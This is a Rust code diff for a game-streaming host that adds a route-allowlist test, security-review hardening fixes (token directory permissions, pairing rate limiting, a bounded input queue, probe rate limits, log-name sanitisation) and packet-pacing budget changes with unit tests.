let doc: serde_json::Value = serde_json::from_str(&openapi_json()).unwrap();
|
||||
let mut live: Vec<(String, String)> = Vec::new();
|
||||
for (path, ops) in doc["paths"].as_object().unwrap() {
|
||||
for method in ops.as_object().unwrap().keys() {
|
||||
if matches!(method.as_str(), "get" | "post" | "put" | "delete" | "patch") {
|
||||
live.push((method.to_uppercase(), path.clone()));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 1. Every LIVE route has a classification row. A new route fails here until it gets one.
|
||||
for (method, path) in &live {
|
||||
assert!(
|
||||
EXPECTED
|
||||
.iter()
|
||||
.any(|(m, p, _, _)| m == method && p == path),
|
||||
"route {method} {path} has no lane classification — add a row to EXPECTED in this test \
|
||||
and decide, deliberately, whether the plugin token and a paired streaming cert may \
|
||||
reach it"
|
||||
);
|
||||
}
|
||||
// 2. No STALE rows: a removed route must not leave a classification behind claiming coverage.
|
||||
for (method, path, _, _) in EXPECTED {
|
||||
assert!(
|
||||
live.iter().any(|(m, p)| m == method && p == path),
|
||||
"EXPECTED lists {method} {path}, which is not in the live route table — remove the row"
|
||||
);
|
||||
}
|
||||
// 3. The gates agree with the classification, on both lanes.
|
||||
for (method, path, plugin_ok, cert_ok) in EXPECTED {
|
||||
let m = Method::from_bytes(method.as_bytes()).unwrap();
|
||||
let concrete = concrete(path);
|
||||
assert_eq!(
|
||||
auth::plugin_may_access(&m, &concrete),
|
||||
*plugin_ok,
|
||||
"plugin lane: {method} {path} should be {}",
|
||||
if *plugin_ok { "reachable" } else { "denied" }
|
||||
);
|
||||
assert_eq!(
|
||||
auth::cert_may_access(&m, &concrete),
|
||||
*cert_ok,
|
||||
"cert lane: {method} {path} should be {}",
|
||||
if *cert_ok { "reachable" } else { "denied" }
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/// The allowlist is segment-wise, so a route that merely *starts with* an allowed one is not
|
||||
/// swallowed by it — the failure that a `starts_with` denylist/allowlist invites.
|
||||
#[test]
|
||||
fn plugin_allowlist_matches_whole_segments_only() {
|
||||
use axum::http::Method;
|
||||
// The UI credential sits one segment below an allowed route and must stay denied.
|
||||
assert!(auth::plugin_may_access(
|
||||
&Method::PUT,
|
||||
"/api/v1/plugins/rom-manager"
|
||||
));
|
||||
assert!(!auth::plugin_may_access(
|
||||
&Method::GET,
|
||||
"/api/v1/plugins/rom-manager/ui-credential"
|
||||
));
|
||||
// A hypothetical future sub-route of an allowed route is denied until classified.
|
||||
assert!(!auth::plugin_may_access(
|
||||
&Method::GET,
|
||||
"/api/v1/library/secrets"
|
||||
));
|
||||
assert!(!auth::plugin_may_access(
|
||||
&Method::POST,
|
||||
"/api/v1/session/settings/x"
|
||||
));
|
||||
// Method matters: the roster is readable, its removal is not.
|
||||
assert!(auth::plugin_may_access(&Method::GET, "/api/v1/clients"));
|
||||
assert!(!auth::plugin_may_access(
|
||||
&Method::DELETE,
|
||||
"/api/v1/clients/aabbcc"
|
||||
));
|
||||
// A path prefix that is not a segment prefix must not match at all.
|
||||
assert!(!auth::plugin_may_access(&Method::GET, "/api/v1/statuses"));
|
||||
assert!(!auth::plugin_may_access(
|
||||
&Method::GET,
|
||||
"/api/v1/library-secrets"
|
||||
));
|
||||
}
|
||||
|
||||
/// The OpenAPI document lists every route with a unique operationId (codegen relies
|
||||
/// on both), and the checked-in copy is current.
|
||||
#[test]
|
||||
|
||||
@@ -45,7 +45,14 @@ fn load_or_generate_impl(env_var: &str, file: &str) -> Result<String> {
|
||||
return Ok(v.to_string());
|
||||
}
|
||||
}
|
||||
let path = pf_paths::config_dir().join(file);
|
||||
let dir = pf_paths::config_dir();
|
||||
// Owner-private dir (0700 Unix / DACL-locked Windows) so the token can't leak via the config
|
||||
// path — applied BEFORE the read, not just before the write (2026-08-05 review M-1). Reading an
|
||||
// existing token out of a directory a local user could still write means adopting whatever they
|
||||
// put there: the mgmt token IS full admin on this host, so a planted one is a handed-over
|
||||
// control plane, and it would be honoured for the life of the install.
|
||||
pf_paths::create_private_dir(&dir).with_context(|| format!("create {}", dir.display()))?;
|
||||
let path = dir.join(file);
|
||||
if let Ok(contents) = fs::read_to_string(&path) {
|
||||
if let Some(tok) = parse_token(&contents, env_var) {
|
||||
return Ok(tok);
|
||||
@@ -54,9 +61,6 @@ fn load_or_generate_impl(env_var: &str, file: &str) -> Result<String> {
|
||||
let mut buf = [0u8; 32];
|
||||
rand::thread_rng().fill_bytes(&mut buf);
|
||||
let token = hex::encode(buf);
|
||||
let dir = pf_paths::config_dir();
|
||||
// Owner-private dir (0700 Unix / DACL-locked Windows) so the token can't leak via the config path.
|
||||
pf_paths::create_private_dir(&dir).with_context(|| format!("create {}", dir.display()))?;
|
||||
write_token(&path, env_var, &token)?;
|
||||
tracing::info!(path = %path.display(), "generated and persisted API token (owner-only)");
|
||||
Ok(token)
|
||||
|
||||
@@ -817,6 +817,31 @@ async fn serve_session(
|
||||
anyhow::bail!("pairing requires the client to present a certificate");
|
||||
};
|
||||
let client_fp_hex = fingerprint_hex(&client_fp);
|
||||
// The cooldown is charged BEFORE the arming state is consulted, and stamped on EVERY
|
||||
// outcome — including the rejections.
|
||||
//
|
||||
// It used to be charged only after `pin_for_attempt` returned a PIN, which made the two
|
||||
// rejections free: an unpaired LAN peer could ask "is pairing armed right now?" at
|
||||
// unlimited rate at zero cost, learning the moment the operator opens a window and racing
|
||||
// the legitimate device into it (2026-08-05 review M-5). Charging first costs an attacker
|
||||
// one cooldown per probe and makes armed/disarmed indistinguishable from rate-limited.
|
||||
//
|
||||
// The trade is deliberate: a peer spamming knocks can now hold the cooldown against the
|
||||
// operator's real device. That is a visible, self-limiting nuisance — the operator retries
|
||||
// — whereas the oracle was silent and gave away the window.
|
||||
{
|
||||
let mut last = last_pairing.lock().unwrap();
|
||||
if let Some(t) = *last {
|
||||
if t.elapsed() < PAIRING_COOLDOWN {
|
||||
close_rejected(
|
||||
&conn,
|
||||
punktfunk_core::reject::RejectReason::PairingRateLimited,
|
||||
);
|
||||
anyhow::bail!("pairing rate-limited — retry shortly");
|
||||
}
|
||||
}
|
||||
*last = Some(std::time::Instant::now());
|
||||
}
|
||||
// Resolve the live arming PIN per attempt (so a lapsed window no longer pairs), honoring any
|
||||
// fingerprint binding.
|
||||
let pin = match np.pin_for_attempt(&client_fp_hex) {
|
||||
@@ -839,19 +864,6 @@ async fn serve_session(
|
||||
)
|
||||
}
|
||||
};
|
||||
{
|
||||
let mut last = last_pairing.lock().unwrap();
|
||||
if let Some(t) = *last {
|
||||
if t.elapsed() < PAIRING_COOLDOWN {
|
||||
close_rejected(
|
||||
&conn,
|
||||
punktfunk_core::reject::RejectReason::PairingRateLimited,
|
||||
);
|
||||
anyhow::bail!("pairing rate-limited — retry shortly");
|
||||
}
|
||||
}
|
||||
*last = Some(std::time::Instant::now());
|
||||
}
|
||||
return pair_ceremony(&conn, send, recv, req, host_fp, np, &pin)
|
||||
.await
|
||||
.map(|()| Served::Session);
|
||||
@@ -1208,7 +1220,22 @@ async fn serve_session(
|
||||
// channel's 4 ms recv timeout — every motion sample of a pure-gyro aim (no button
|
||||
// traffic) ate up to 4 ms of added latency/jitter. A single channel wakes the thread on
|
||||
// whichever arrives.
|
||||
let (input_tx, input_rx) = std::sync::mpsc::channel::<ClientInput>();
|
||||
// BOUNDED, and lossy on overflow — the mic plane on this very datagram loop has been bounded
|
||||
// with `try_send` since security-review S6, and the three input planes had simply never been
|
||||
// given the same treatment (2026-08-05 review M-3).
|
||||
//
|
||||
// The producer is one `read_datagram` loop that can push a message per datagram; the consumer
|
||||
// handles ONE item per iteration and then runs a full gamepad feedback pump + heartbeat. The
|
||||
// producer therefore outruns the consumer by orders of magnitude, and with an unbounded queue
|
||||
// the backlog is host RSS: pen batches amplify ~8× from wire to heap, so a paired client on a
|
||||
// 100 Mbps link grows the host by ~100 MB/s until it dies. Reachable by any paired client, or
|
||||
// any LAN peer under `--open`.
|
||||
//
|
||||
// Dropping is correct here in a way it would not be for a reliable stream: input is a
|
||||
// real-time plane where a sample that cannot be delivered promptly is already stale — the
|
||||
// freshest state wins, and the injector re-syncs from the next event.
|
||||
const INPUT_QUEUE_DEPTH: usize = 1024;
|
||||
let (input_tx, input_rx) = std::sync::mpsc::sync_channel::<ClientInput>(INPUT_QUEUE_DEPTH);
|
||||
let rich_tx = input_tx.clone();
|
||||
// The stream loop's handle into the same pipeline: it parks the seat pointer on the
|
||||
// streamed surface (stream.rs `park_pointer`) through exactly the path client input takes.
|
||||
@@ -1235,6 +1262,20 @@ async fn serve_session(
|
||||
let input_conn = conn.clone();
|
||||
tokio::spawn(async move {
|
||||
let (mut input_count, mut mic_count, mut rich_count) = (0u64, 0u64, 0u64);
|
||||
let mut dropped = 0u64;
|
||||
// `try_send` on a full queue drops rather than blocking this loop — blocking here would
|
||||
// stall the mic plane and the datagram reader itself. A DISCONNECTED channel is the input
|
||||
// thread having gone away, which is the one condition that ends the loop.
|
||||
let mut offer = |tx: &std::sync::mpsc::SyncSender<ClientInput>, item: ClientInput| match tx
|
||||
.try_send(item)
|
||||
{
|
||||
Ok(()) => true,
|
||||
Err(std::sync::mpsc::TrySendError::Full(_)) => {
|
||||
dropped += 1;
|
||||
true
|
||||
}
|
||||
Err(std::sync::mpsc::TrySendError::Disconnected(_)) => false,
|
||||
};
|
||||
while let Ok(d) = input_conn.read_datagram().await {
|
||||
if let Some((seq, pts, opus)) = punktfunk_core::quic::decode_mic_datagram(&d) {
|
||||
mic_count += 1;
|
||||
@@ -1249,7 +1290,7 @@ async fn serve_session(
|
||||
});
|
||||
} else if let Some(rich) = punktfunk_core::quic::RichInput::decode(&d) {
|
||||
rich_count += 1;
|
||||
if rich_tx.send(ClientInput::Rich(rich)).is_err() {
|
||||
if !offer(&rich_tx, ClientInput::Rich(rich)) {
|
||||
break;
|
||||
}
|
||||
} else if let Some(pen) = punktfunk_core::quic::PenBatch::decode(&d) {
|
||||
@@ -1257,7 +1298,7 @@ async fn serve_session(
|
||||
// design; see punktfunk_core::quic::pen). Routed to the same input thread,
|
||||
// which owns the per-session tracker + virtual tablet.
|
||||
rich_count += 1;
|
||||
if rich_tx.send(ClientInput::Pen(pen)).is_err() {
|
||||
if !offer(&rich_tx, ClientInput::Pen(pen)) {
|
||||
break;
|
||||
}
|
||||
} else if let Some(mut ev) = InputEvent::decode(&d) {
|
||||
@@ -1273,7 +1314,7 @@ async fn serve_session(
|
||||
) {
|
||||
ev.flags &= !crate::inject::KEY_FLAG_SEMANTIC_VK;
|
||||
}
|
||||
if input_tx.send(ClientInput::Event(ev)).is_err() {
|
||||
if !offer(&input_tx, ClientInput::Event(ev)) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
@@ -1282,6 +1323,7 @@ async fn serve_session(
|
||||
input = input_count,
|
||||
mic = mic_count,
|
||||
rich = rich_count,
|
||||
dropped,
|
||||
"client datagram stream ended"
|
||||
);
|
||||
});
|
||||
|
||||
@@ -70,6 +70,15 @@ pub(super) async fn run(
|
||||
// coalesces a well-behaved resize drag; compliant clients self-limit to ≥ 1 s).
|
||||
const MIN_SWITCH_INTERVAL: std::time::Duration = std::time::Duration::from_millis(500);
|
||||
let mut last_accepted_switch: Option<std::time::Instant> = None;
|
||||
// Speed-test probes get the same treatment as mode switches, for the same reason.
|
||||
//
|
||||
// Each probe is individually clamped (5 s, 10 Gbps) but nothing capped how many a client could
|
||||
// queue, so one could pause its own video and pin the host's uplink indefinitely by simply
|
||||
// asking again — `Reconfigure` on this very task was rate-limited and `ProbeRequest` was not
|
||||
// (2026-08-05 review L-3). One probe per 10 s is far more than a real client needs (it probes
|
||||
// at session start and on a manual speed test) and makes the channel useless as an amplifier.
|
||||
const MIN_PROBE_INTERVAL: std::time::Duration = std::time::Duration::from_secs(10);
|
||||
let mut last_probe: Option<std::time::Instant> = None;
|
||||
// Resumable framing: this read is one arm of a `select!` whose siblings fire on every probe
|
||||
// result / reconfigure / clip offer, so the read future is dropped routinely. `io::read_msg`
|
||||
// would lose the partial frame and misalign the stream for the rest of the session.
|
||||
@@ -233,6 +242,15 @@ pub(super) async fn run(
|
||||
);
|
||||
let _ = shard_ack_tx.send(ack.shard_payload);
|
||||
} else if let Ok(req) = ProbeRequest::decode(&msg) {
|
||||
let now = std::time::Instant::now();
|
||||
if last_probe.is_some_and(|t| now.duration_since(t) < MIN_PROBE_INTERVAL) {
|
||||
tracing::warn!(
|
||||
target_kbps = req.target_kbps,
|
||||
"speed-test probe rejected (rate-limited)"
|
||||
);
|
||||
continue;
|
||||
}
|
||||
last_probe = Some(now);
|
||||
tracing::info!(
|
||||
target_kbps = req.target_kbps,
|
||||
duration_ms = req.duration_ms,
|
||||
|
||||
@@ -848,11 +848,22 @@ pub(super) fn input_thread(
|
||||
// Rich input (touchpad / motion) is applied the moment it arrives; the single channel
|
||||
// wakes for gyro samples instead of making them wait out the feedback poll interval.
|
||||
Ok(ClientInput::Rich(rich)) => {
|
||||
if matches!(rich, punktfunk_core::quic::RichInput::Motion { .. }) {
|
||||
// Debug-only instrument: skip the whole thing unless debug logging is actually
|
||||
// enabled. It used to grow and `sort_unstable()` a Vec in the input hot loop
|
||||
// regardless, so every session paid for a measurement nobody was reading — and the
|
||||
// "bounded by a 5 s window at a plausible pad rate" reasoning was an assumption
|
||||
// about the CLIENT's send rate, not a bound the host enforced (2026-08-05 review
|
||||
// L-5). The explicit cap below makes it a bound.
|
||||
if matches!(rich, punktfunk_core::quic::RichInput::Motion { .. })
|
||||
&& tracing::enabled!(tracing::Level::DEBUG)
|
||||
{
|
||||
let now = std::time::Instant::now();
|
||||
if let Some(prev) = last_motion.replace(now) {
|
||||
let gap = now.duration_since(prev);
|
||||
if gap < std::time::Duration::from_secs(1) {
|
||||
// 30k samples is 5 s at 6 kHz — well past any real pad, and a hard stop
|
||||
// for a client that simply sends motion as fast as the link allows.
|
||||
if gap < std::time::Duration::from_secs(1) && motion_gaps_us.len() < 30_000
|
||||
{
|
||||
motion_gaps_us.push(gap.as_micros() as u32);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -7,6 +7,7 @@ use super::*;
|
||||
// The ceremony-only wire messages: imported directly (native.rs no longer references them, so they
|
||||
// were dropped from its `use` and won't come through `use super::*`). `PairRequest` still arrives
|
||||
// via the glob (serve_session decodes it).
|
||||
use crate::native_pairing::sanitize_device_name;
|
||||
use punktfunk_core::quic::{PairChallenge, PairProof, PairResult};
|
||||
|
||||
/// Pairing needs a human in the loop (reading the PIN off the host, typing it into the
|
||||
@@ -29,10 +30,19 @@ pub(super) async fn pair_ceremony(
|
||||
use punktfunk_core::quic::pake;
|
||||
let client_fp = endpoint::peer_fingerprint(conn)
|
||||
.ok_or_else(|| anyhow!("pairing requires the client to present a certificate"))?;
|
||||
let client_fp_hex = fingerprint_hex(&client_fp);
|
||||
// Scrub the wire-supplied name ONCE, here, and log only the scrubbed value from now on.
|
||||
//
|
||||
// This name arrives from an UNPAIRED device — the earliest, least authenticated input the host
|
||||
// takes — and these were the three log sites that bypassed the documented single scrubber, so
|
||||
// ANSI/C0 escapes and bidi overrides reached the operator's terminal and the journal
|
||||
// (2026-08-05 review L-2). `sanitize_device_name` is "the one place that scrubs it" by its own
|
||||
// module doc; the storage path already went through it, only the logging did not.
|
||||
let name = sanitize_device_name(&req.name, &client_fp_hex);
|
||||
|
||||
tracing::info!(
|
||||
name = %req.name,
|
||||
client = %fingerprint_hex(&client_fp),
|
||||
name = %name,
|
||||
client = %client_fp_hex,
|
||||
"PAIRING REQUEST — verifying against the armed PIN"
|
||||
);
|
||||
|
||||
@@ -74,9 +84,9 @@ pub(super) async fn pair_ceremony(
|
||||
if let Err(e) = np.add(&req.name, &fingerprint_hex(&client_fp)) {
|
||||
tracing::error!(error = %format!("{e:#}"), "could not persist paired clients");
|
||||
}
|
||||
tracing::info!(name = %req.name, "pairing complete — client trusted");
|
||||
tracing::info!(name = %name, "pairing complete — client trusted");
|
||||
} else {
|
||||
tracing::warn!(name = %req.name, "pairing rejected (wrong PIN) — fingerprint not stored");
|
||||
tracing::warn!(name = %name, "pairing rejected (wrong PIN) — fingerprint not stored");
|
||||
}
|
||||
io::write_msg(&mut send, &PairResult { ok }.encode()).await?;
|
||||
let _ = send.finish();
|
||||
|
||||
@@ -441,26 +441,27 @@ fn idd_adaptive_enabled() -> bool {
|
||||
/// Seal one access unit and send it with MICROBURST pacing (the shared
|
||||
/// [`send_pacing`](crate::send_pacing) policy, native parameterization): the first `burst_cap`
|
||||
/// bytes go out immediately (one absorbed burst the NIC / socket tx-buffer can swallow), and
|
||||
/// only the OVERFLOW beyond that is spread across `min(~90% of the time to deadline, the time
|
||||
/// the overflow needs at pace_rate_bps)` in ADAPTIVE chunks — 16 packets at today's rates,
|
||||
/// coarsening to at most 64 (the GSO-segment cap) once the rate would otherwise skip every
|
||||
/// sub-floor sleep, so ≥1 Gbps frames still pace instead of collapsing into an unpaced blast
|
||||
/// (plan Phase 1.2). `burst_cap` `None` = auto: `max(128 KB, this AU's wire bytes / 4)`, so
|
||||
/// the burst stays a bounded fraction of a high-rate frame instead of swallowing it whole
|
||||
/// (plan Phase 1.3); `Some` = PUNKTFUNK_PACE_BURST_KB pinned an absolute cap. So a
|
||||
/// normal-bitrate frame (≤ cap) leaves in one immediate burst at ~0 added latency, while a
|
||||
/// genuine IDR / sustained-high-bitrate frame (≫ cap) still spreads — keeping the freeze fix
|
||||
/// exactly where it's needed (an unpaced line-rate burst overruns the kernel tx buffer →
|
||||
/// EAGAIN drop → under infinite GOP, a freeze until the next keyframe). With no slack
|
||||
/// (encode ≈ interval) the budget collapses to 0 and even the overflow goes out immediately,
|
||||
/// so this is never slower than unpaced.
|
||||
/// only the OVERFLOW beyond that is spread across the time it needs at `pace_rate_bps` in
|
||||
/// ADAPTIVE chunks — 16 packets at today's rates, coarsening to at most 64 (the GSO-segment
|
||||
/// cap) once the rate would otherwise skip every sub-floor sleep, so ≥1 Gbps frames still pace
|
||||
/// instead of collapsing into an unpaced blast (plan Phase 1.2). `burst_cap` `None` = auto:
|
||||
/// `max(128 KB, this AU's wire bytes / 4)`, so the burst stays a bounded fraction of a
|
||||
/// high-rate frame instead of swallowing it whole (plan Phase 1.3); `Some` =
|
||||
/// PUNKTFUNK_PACE_BURST_KB pinned an absolute cap. So a normal-bitrate frame (≤ cap) leaves in
|
||||
/// one immediate burst at ~0 added latency, while a genuine IDR / sustained-high-bitrate frame
|
||||
/// (≫ cap) still spreads — keeping the freeze fix exactly where it's needed (an unpaced
|
||||
/// line-rate burst overruns the kernel tx buffer → EAGAIN drop → under infinite GOP, a freeze
|
||||
/// until the next keyframe).
|
||||
///
|
||||
/// `pace_rate_bps` (latency plan T1.2) bounds the spread from above: the deadline term alone
|
||||
/// smears a big frame's tail across the whole remaining interval (~15 ms at 60 fps) even when
|
||||
/// the link could drain it in 2–3 ms. The caller passes ~3× the live encoder bitrate — a rate
|
||||
/// the link is proven to carry sustained, so the bounded excursion keeps the anti-freeze
|
||||
/// property while the tail leaves as soon as the link plausibly allows. `0` = uncapped
|
||||
/// (legacy smoothness-only spread, and the fallback when the bitrate isn't known yet).
|
||||
/// `pace_rate_bps` (latency plan T1.2; resume-safe form, stall program T2): the caller passes
|
||||
/// ~3× the live encoder bitrate — a rate the link is proven to carry sustained — and the
|
||||
/// overflow's wire time at that rate IS the pace budget ([`crate::send_pacing::native_budget`],
|
||||
/// [`crate::send_pacing::MAX_PACE_SPREAD`]-bounded). The frame deadline no longer under-cuts
|
||||
/// the spread: for a steady-state frame the rate term was the smaller one anyway (tail gone in
|
||||
/// a fraction of the interval), and for an oversized frame (stall-resume scene delta, cold
|
||||
/// IDR) the old deadline clamp was exactly the line-rate blast → tx-overrun → freeze path this
|
||||
/// module exists to prevent. `0` = uncapped legacy deadline-only spread
|
||||
/// (PUNKTFUNK_PACE_FACTOR=0, and the fallback when the bitrate isn't known yet).
|
||||
#[allow(clippy::too_many_arguments)]
|
||||
fn paced_submit(
|
||||
session: &mut Session,
|
||||
@@ -498,34 +499,22 @@ fn pace_sealed(
|
||||
chunk: crate::send_pacing::ChunkPolicy::Adaptive { base: 16, max: 64 },
|
||||
sleep_floor: std::time::Duration::from_micros(500),
|
||||
};
|
||||
// T1.2 rate cap: the overflow's wire time at `pace_rate_bps`. Only the bytes past the
|
||||
// burst pace at all, so only they bound the budget.
|
||||
// T1.2 rate cap, resume-safe form (stall program T2): the overflow's wire time at
|
||||
// `pace_rate_bps` IS the budget — the deadline no longer under-cuts it, so an oversized
|
||||
// frame (a stall-resume scene delta, a cold IDR) paces at the proven 3× rate instead of
|
||||
// collapsing into a line-rate blast that overruns the socket buffer and loses the very
|
||||
// frame that ends a freeze. See `send_pacing::native_budget` for the full argument.
|
||||
let overflow_bytes = wire_bytes.saturating_sub(burst_bytes) as u64;
|
||||
let cap = if pace_rate_bps > 0 && overflow_bytes > 0 {
|
||||
std::time::Duration::from_nanos(
|
||||
(overflow_bytes * 8).saturating_mul(1_000_000_000) / pace_rate_bps,
|
||||
)
|
||||
} else {
|
||||
std::time::Duration::MAX
|
||||
};
|
||||
let budget = crate::send_pacing::native_budget(deadline, pace_rate_bps, overflow_bytes);
|
||||
// Time the socket handoff per chunk and fold it into the session's SealPerf split — the
|
||||
// sleeps between chunks stay excluded, so sock_ns is pure send_gso/sendmmsg time.
|
||||
let mut sock_ns = 0u64;
|
||||
let result = crate::send_pacing::pace_frame(
|
||||
&refs,
|
||||
crate::send_pacing::PaceBudget::UntilDeadline {
|
||||
deadline,
|
||||
fraction: 0.9,
|
||||
cap,
|
||||
},
|
||||
&cfg,
|
||||
|chunk| {
|
||||
let t0 = std::time::Instant::now();
|
||||
let r = session.send_sealed(chunk).map(|_| ());
|
||||
sock_ns += t0.elapsed().as_nanos() as u64;
|
||||
r
|
||||
},
|
||||
);
|
||||
let result = crate::send_pacing::pace_frame(&refs, budget, &cfg, |chunk| {
|
||||
let t0 = std::time::Instant::now();
|
||||
let r = session.send_sealed(chunk).map(|_| ());
|
||||
sock_ns += t0.elapsed().as_nanos() as u64;
|
||||
r
|
||||
});
|
||||
drop(refs); // release the borrow of `wires` so it can return to the seal pool
|
||||
session.reclaim_wires(wires);
|
||||
session.note_sock_ns(sock_ns);
|
||||
@@ -1318,7 +1307,7 @@ pub(super) struct SessionContext {
|
||||
/// The session's input pipeline (the same channel client datagrams feed) — the stream loop
|
||||
/// uses it to PARK the seat pointer on the streamed surface (see [`park_pointer`]).
|
||||
#[cfg(target_os = "linux")]
|
||||
pub(super) input_tx: std::sync::mpsc::Sender<super::input::ClientInput>,
|
||||
pub(super) input_tx: std::sync::mpsc::SyncSender<super::input::ClientInput>,
|
||||
}
|
||||
|
||||
/// Park the seat pointer at the centre of the streamed surface, through the SAME injection path
|
||||
@@ -1336,7 +1325,7 @@ pub(super) struct SessionContext {
|
||||
/// output's edge — pins the pointer to the surface the client actually sees. A desktop-model
|
||||
/// client overrides it with its first absolute move, so the jump is invisible in practice.
|
||||
#[cfg(target_os = "linux")]
|
||||
fn park_pointer(input_tx: &std::sync::mpsc::Sender<super::input::ClientInput>, w: u32, h: u32) {
|
||||
fn park_pointer(input_tx: &std::sync::mpsc::SyncSender<super::input::ClientInput>, w: u32, h: u32) {
|
||||
let ev = punktfunk_core::input::InputEvent {
|
||||
kind: punktfunk_core::input::InputKind::MouseMoveAbs,
|
||||
_pad: [0; 3],
|
||||
@@ -1347,7 +1336,12 @@ fn park_pointer(input_tx: &std::sync::mpsc::Sender<super::input::ClientInput>, w
|
||||
// matches the streamed output by exactly these dims.
|
||||
flags: (w << 16) | (h & 0xffff),
|
||||
};
|
||||
if input_tx.send(super::input::ClientInput::Event(ev)).is_ok() {
|
||||
// `try_send`, matching the bounded input queue (2026-08-05 review M-3): parking is a
|
||||
// best-effort nicety and must never block the stream loop behind a full input backlog.
|
||||
if input_tx
|
||||
.try_send(super::input::ClientInput::Event(ev))
|
||||
.is_ok()
|
||||
{
|
||||
tracing::info!(
|
||||
w,
|
||||
h,
|
||||
|
||||
@@ -55,7 +55,7 @@ pub(crate) enum ChunkPolicy {
|
||||
}
|
||||
|
||||
/// The time the paced (post-burst) packets spread across.
|
||||
#[derive(Clone, Copy, Debug)]
|
||||
#[derive(Clone, Copy, Debug, PartialEq)]
|
||||
pub(crate) enum PaceBudget {
|
||||
/// `min((deadline − now-after-burst) × fraction, cap)`, collapsing to 0 with no slack
|
||||
/// (native: fraction 0.9). `cap` bounds the spread to the time the overflow actually needs
|
||||
@@ -68,10 +68,53 @@ pub(crate) enum PaceBudget {
|
||||
fraction: f32,
|
||||
cap: Duration,
|
||||
},
|
||||
/// A precomputed fixed budget (GameStream: ¾ of the frame interval).
|
||||
/// A precomputed fixed budget (GameStream: ¾ of the frame interval; native: the rate-cap
|
||||
/// spread from [`native_budget`]).
|
||||
Fixed(Duration),
|
||||
}
|
||||
|
||||
/// Absolute ceiling on one frame's paced spread (native plane): a pathological frame must not
|
||||
/// park the send thread for longer than this, whatever the rate math says. At the ceiling the
|
||||
/// tail is late but delivered whole — still strictly better than the blast-loss → freeze →
|
||||
/// recovery-IDR round trip it replaces.
|
||||
pub(crate) const MAX_PACE_SPREAD: Duration = Duration::from_millis(100);
|
||||
|
||||
/// The native plane's pace budget for one frame (pure — unit-tested): with the T1.2 rate cap
|
||||
/// active, the paced overflow spreads across exactly the time it needs at the pace rate
|
||||
/// (`cap`, bounded by [`MAX_PACE_SPREAD`]) and is NEVER under-cut by the frame deadline.
|
||||
///
|
||||
/// The old schedule took `min(0.9 × time-to-deadline, cap)`. For a steady-state frame the cap
|
||||
/// is the smaller term and nothing changes. But for an OVERSIZED frame — a stall-resume scene
|
||||
/// delta after seconds of frozen composition, a cold IDR — the overflow needs SEVERAL frame
|
||||
/// intervals at the pace rate, and the deadline term clamped that into the remainder of ONE:
|
||||
/// an instantaneous many-×-stream-rate blast that overruns the socket tx-buffer and loses the
|
||||
/// very frame that would have ended the freeze (field fingerprint: WSAENOBUFS 10055 +
|
||||
/// `loss_ppm` spikes at capture-stall edges, then a recovery-IDR round trip per retry). The
|
||||
/// pace rate is ~3× a rate the link demonstrably carries, so holding it past the deadline is
|
||||
/// safe by the same argument that introduced the cap — the deadline stays a *target*, not a
|
||||
/// license to blast.
|
||||
///
|
||||
/// `pace_rate_bps == 0` (PUNKTFUNK_PACE_FACTOR=0) or an overflow-free frame keeps the legacy
|
||||
/// deadline-only spread.
|
||||
pub(crate) fn native_budget(
|
||||
deadline: Instant,
|
||||
pace_rate_bps: u64,
|
||||
overflow_bytes: u64,
|
||||
) -> PaceBudget {
|
||||
if pace_rate_bps > 0 && overflow_bytes > 0 {
|
||||
let cap = Duration::from_nanos(
|
||||
(overflow_bytes * 8).saturating_mul(1_000_000_000) / pace_rate_bps,
|
||||
);
|
||||
PaceBudget::Fixed(cap.min(MAX_PACE_SPREAD))
|
||||
} else {
|
||||
PaceBudget::UntilDeadline {
|
||||
deadline,
|
||||
fraction: 0.9,
|
||||
cap: Duration::MAX,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Per-plane pacing parameters. See the module doc for the two canonical values.
|
||||
#[derive(Clone, Copy, Debug)]
|
||||
pub(crate) struct PaceCfg {
|
||||
@@ -598,6 +641,43 @@ mod tests {
|
||||
);
|
||||
}
|
||||
|
||||
/// [`native_budget`]: with the rate cap active the budget is the overflow's wire time at
|
||||
/// the pace rate — a FIXED spread the deadline can no longer under-cut — bounded by
|
||||
/// [`MAX_PACE_SPREAD`]; rate 0 / no overflow keep the legacy deadline-only schedule.
|
||||
#[test]
|
||||
fn native_budget_is_rate_bound_never_deadline_cut() {
|
||||
// The stall-resume case the fix exists for: a 3 MB overflow at 3×240 Mbps needs
|
||||
// ~33 ms — an IMMINENT deadline (the old min() made this a blast) must not shrink it.
|
||||
let deadline = Instant::now() + Duration::from_millis(4); // 240 fps interval
|
||||
let b = native_budget(deadline, 720_000_000, 3_000_000);
|
||||
assert_eq!(b, PaceBudget::Fixed(Duration::from_nanos(33_333_333)));
|
||||
|
||||
// A steady-state frame: overflow 90 KB at 3×240 Mbps = 1 ms — identical to what the
|
||||
// old min(slack, cap) chose (cap was the smaller term), so nothing regresses.
|
||||
let b = native_budget(deadline, 720_000_000, 90_000);
|
||||
assert_eq!(b, PaceBudget::Fixed(Duration::from_micros(1_000)));
|
||||
|
||||
// A crater-rate resume (ABR backed off to 20 Mbps, pace 60 Mbps): the raw rate math
|
||||
// says 400 ms for 3 MB — the absolute ceiling bounds the send thread's stall.
|
||||
let b = native_budget(deadline, 60_000_000, 3_000_000);
|
||||
assert_eq!(b, PaceBudget::Fixed(MAX_PACE_SPREAD));
|
||||
|
||||
// Rate cap off (PUNKTFUNK_PACE_FACTOR=0): the legacy deadline-only spread, uncapped.
|
||||
let b = native_budget(deadline, 0, 3_000_000);
|
||||
assert!(matches!(
|
||||
b,
|
||||
PaceBudget::UntilDeadline {
|
||||
fraction,
|
||||
cap: Duration::MAX,
|
||||
..
|
||||
} if fraction == 0.9
|
||||
));
|
||||
|
||||
// No overflow (the whole frame bursts): budget is never consulted — legacy shape.
|
||||
let b = native_budget(deadline, 720_000_000, 0);
|
||||
assert!(matches!(b, PaceBudget::UntilDeadline { .. }));
|
||||
}
|
||||
|
||||
/// `inject_video_drop` is a no-op when the knob is off (the default test env).
|
||||
#[test]
|
||||
fn drop_injection_off_by_default() {
|
||||
|
||||
@@ -137,6 +137,49 @@ pub(crate) fn installed_packages(dir: &Path) -> Vec<InstalledPkg> {
|
||||
out
|
||||
}
|
||||
|
||||
/// A registry URL that is safe to write into a hand-formatted TOML string, and plausible as a
|
||||
/// registry: absolute https, bounded, and built only from characters that appear in a real URL.
|
||||
///
|
